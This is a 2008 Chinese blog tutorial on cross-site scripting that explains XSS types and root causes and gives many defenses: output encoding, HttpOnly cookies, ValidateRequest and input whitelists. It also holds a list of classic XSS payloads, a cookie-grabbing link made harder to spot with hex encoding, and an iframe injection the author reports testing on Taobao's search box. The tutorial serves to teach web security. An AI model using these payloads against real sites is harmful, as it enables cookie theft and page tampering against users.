(原创)攻击方式学习之(1) - 跨站式脚本(Cross-Site Scripting)

声明:本文仅供学习研究之用,对于本文提到的某些网站的XSS漏洞,请读者发扬高尚的人道主义精神不要去危害他人,同时希望相应的网站能够尽快修补XSS漏洞。

简介

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

使用过ASP的同学一定见过这样的代码:

Hello,  
<%
Response.Write(Request.Querystring("name"))
%>

假如我传入的name的值为:

<script>x=document.cookie;alert(x);</script>

这样就可以直接盗取用户的cookie。所以我就可以发送一条链接地址让别人去点:

http://www.xxx.com/reg.asp?name=<script>x=document.cookie;alert(x);</script>

当然这样做没有一点隐蔽性,虽然前面的xxx.com瞒过了少数人,但大多数人可以辨认出后面的javascript代码,所以,我只需要将后面的javascript代码转换成URL的16进制,如:

http://www.xxx.com/reg.asp?name=%3C%73%63%72%69%70%74%3E%78%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%61%6C%65%72%74%28%78%29%3B%3C%2F%73%63%72%69%70%74%3E

上面的URL你还认得吗?除非你把它转换出来。(进制转换可以使用Napkin工具,哎,太坏了。。有人问Napkin的下载地址,贴在这里好了:http://www.0x90.org/releases/napkin/Napkin-1.0-Windows.zip)

根本原因

1. 没有对输入进行约束,没有对输出进行编码
2. 没有严格区分“数据”和“代码”

示例

发现大名鼎鼎的淘宝网也存在这样的漏洞,我们在搜索框中输入:

"/><div style="position:absolute;left:0px;top:0px;"><iframe src="http://www.baidu.com" FRAMEBORDER=0 width=1000 height=900/></div><a href="

这样,我们已经修改了淘宝原有的页面,在下面嵌入了百度的首页。效果如图:


使用时机

我尝试在各种不同网站寻找 XSS漏洞, baidu, amazon.cn, youku.com, dangdang.com等等。结果,我发现XSS漏洞非常普遍!其实XSS利用的是网页的回显,即,接收用户的输入,然后再在页面显示用户的输入。总结 一下几个可能会出现漏洞的地方:

  1. 搜索引擎
  2. 留言板
  3. 错误页面

通过在上面那些类型的页面输入一些特殊的字符(包括< > / "),如:</?jjkk>,然后在结果页中的源码处搜索是否存在原样的:</?jjkk>,如果存在,恭喜你,发现了一个XSS漏洞。

分类

1. DOM-based cross-site scripting

页面本身包含一些DOM对象的操作,如果未对输入的参数进行处理,可能会导致执行恶意脚本。如下面一些DOM操作:


document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)

  举个例子,假如某个脆弱的页面的代码如下:
<HTML>
    <TITLE>Welcome!</TITLE>
    Hi
    <SCRIPT>
        var pos=document.URL.indexOf("name=")+5;
        document.write(document.URL.substring(pos,document.URL.length));
    </SCRIPT>
    <BR>
    Welcome to our system
    …
</HTML>

  攻击者使用如下的URL访问时,则非常危险:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

  试了一下,貌似IE、FireFox等浏览器默认对<script>alert(document.cookie)</script>进行了编码,阻止了脚本的执行。但是对于DOM操作还是要更加谨慎啊,比如把上面的页面修改一下,安全性就增强了不少:
<SCRIPT>
 var pos=document.URL.indexOf("name=")+5;
 var name=document.URL.substring(pos,document.URL.length);
 if (name.match(/^[a-zA-Z0-9]$/))
 {
       document.write(name);
 }
 else
 {
        window.alert("Security error");
 }
</SCRIPT>

 2. Reflected cross-site scripting

        也被称为None-Persistent cross-site scripting,即,非持久化的XSS攻击,是我们通常所说的,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接菜能引起。

 3. Persistent cross-site scripting

        持久化XSS攻击,指的是恶意脚本代码被存储进被攻击的数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存入非法数据,恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。

实施方式

我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX,发现参数XXX原样的出现在了页面源码中:

<input type="text" class="Seach" name="w" value="XXX" />


OK,可以开始做文章了,我们将XXX替换为:abc"/><script>alert('haha')</script><a href=",返回的HTML代码如下:

<input type="text" class="Seach" name="w" value="abc"/><script>alert('haha')</script><!--" />


这样,<script>alert('haha')</script>被执行了。这里再举例一些XSS攻击行为:

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);

更加详细的列表请参见 5

危害

  1. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马
  7. 控制受害者机器向其它网站发起攻击

防范

  1. 必须明确:一切输入都是有害的,不要信任一切输入的数据。
  2. 缓和XSS问题的首要法则是确定哪个输入是有效的,并且拒绝所有别的无效输入。
  3. 替换危险字符,如:"&", "<", ">", ""","'", "/", "?",";", ":", "%", "<SPACE>", "=", "+"。各种语言替换的程度不尽相同,但是基本上能抵御住一般的XSS攻击。

    1. python的cgi.escape函数:

      def escape(s, quote=None):
          '''Replace special characters "&", "<" and ">" to HTML-safe sequences.
          If the optional flag quote is true, the quotation mark character (")
          is also translated.'''
          s = s.replace("&", "&amp;") # Must be done first!
          s = s.replace("<", "&lt;")
          s = s.replace(">", "&gt;")
          if quote:
              s = s.replace('"', "&quot;")
      return s
    2. ASP中的Server.HTMLEncode:

      <%= Server.HTMLEncode("The paragraph tag: <P>") %>
    3. ASP.NET的Server.HtmlEncode及Server.UrlEncode:

      String TestString = "This is a <Test String>.";
      String EncodedString = Server.HtmlEncode(TestString);
      Server.UrlEncode(Request.Url.ToString());
    4. PHP的htmlspecialchars方法:

      <?php
       $new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
       echo $new; // &lt;a href='test'&gt;Test&lt;/a&gt;
      ?>
    5. JAVA中的java.net.URLEncode.encode:

      String mytext = java.net.URLEncoder.encode("中国", "utf-8");
  4. 有些网站使用过滤javascript关键字的办法来防止XSS,其实是很不明智的,因为XSS有时候根本就不需要javascript关键字或者对javascript关键字进行格式变化来躲过过滤。
  5. 为所有的标记属性加上双引号。应该说这也不是万全之策,只是在转义了双引号的前提下的一道安全保障。比如:
    不加双引号时,onclick被执行了:

    <a href=http://www.xxx.com/detail.asp?id=2008 onclick='javascrpt:alert('haha')'>
    加上了双引号,onclick不会被执行:
    <a href="http://www.xxx.com/detail.asp?id=2008 onclick='javascrpt:alert('haha')'">
  6. 将数据插入到innerText属性中,脚本将不会被执行。如果是innerHTML属性,则必须确保输入是安全的。如ASP.NET中:
    <%@ Page Language="C#" AutoEventWireup="true"%>
    <html>
     <body>
        <span id="Welcome1" runat="server"> </span>
        <span id="Welcome2" runat="server"> </span>
     </body>
    </html>
    <script runat="server">
     private void Page_Load(Object Src, EventArgs e)
     {
        // Using InnerText renders the content safe–no need to HtmlEncode
        Welcome1.InnerText = "haha";
        // Using InnerHtml requires the use of HtmlEncode to make it safe
        Welcome2.InnerHtml = "Hello, " + Server.HtmlEncode("haha");
     }
    </Script>
  7. 使用IE6.0SP1的cookie选项HttpOnly,注意,HttpOnly只能阻止恶意脚本读取cookie,并不能阻止XSS攻击。比如在ASP.NET中:

    HttpCookie cookie = new HttpCookie("Name", "ZhangChangrong");
    cookie.Path = "/; HttpOnly";
    Response.Cookies.Add(cookie);
  8. 使用IE的<IFrame>的Security属性,设置为restricted后,frame中的脚本将不能执行(仅限于IE)。如:

    <iframe security="restricted" src="http://www.somesite.com/somepage.htm"></frame>
  9. ASP.NET中的ValidateRequest配置选项。默认情况下,这个功能是开启的,这个功能将会检查用户是否试图在cookie、查询字符串以及HTML表格中设置HTML或脚本。如果请求包含这种潜在的危险输入,就会抛出一个HttpRequestValidationException异常。我在尝试试探当当网的XSS漏洞时发现这个异常信息,可以说当当网使用了ValidateRequest这个选项,或者从另一方面说,也许是无意中启用了这一选项,同时,将错误信息抛出给用户是非常不安全的。

    1. 给一个页面设置ValidateRequest选项:

      <%@ Page Language="C#" ValidateRequest="false" %>
    2. 在Machine.config中设置全局ValidateRequest选项,注意,如果在Web.config中重新设置,不会覆盖Machine.config中的这一设置:

      <system.web>
          <pages buffer="true" validateRequest="true" />
      </system.web>
    3. 让我们来目睹当当网给我们带来的这一盛况:


  10. 在一些必须使用到HTML标签的地方,比如公告栏,可以使用其他格式的标示代替,比如论坛中广泛使用的BBCode,用[i]...["i]来表示斜体。
  11. 然而,对于一些允许用户输入特定HTML的地方,强烈建议使用正则表达式进行匹配。比如:
    if (/^(?:["s"w"?"!","."'""]*|(?:"<"/"?(?:i|b|p|br|em|pre)">))*$/i)
    {
          #Cool, it's valid input
    }

发现问题

  1. 查找所有包含用户输入的入口。
  2. 跟踪流入应用程序的每一个数据。
  3. 确定数据是否与输出有关系。
  4. 如果与输出有关,它是不是原始数据,是不是经过处理的?

参考资料

  1. Michael Howard, David LeBlanc. "Writing Secure Code"

  2. Mike Andrews, James A. Whittaker "How to Break Web Software"

  3. http://en.wikipedia.org/wiki/Cross-site_scripting

  4. Klein, Amit (July 4, 2005). "DOM Based Cross Site Scripting or XSS of the Third Kind". Web Application Security Consortium. Retrieved on 2008-05-28.

  5. http://ha.ckers.org/xss.html

下一篇 : (原创)攻击方式学习之(2) - SQL注入(SQL Injection)
posted @ 2008-09-06 10:10  CoderZh  阅读(24230)  评论(50编辑  收藏  举报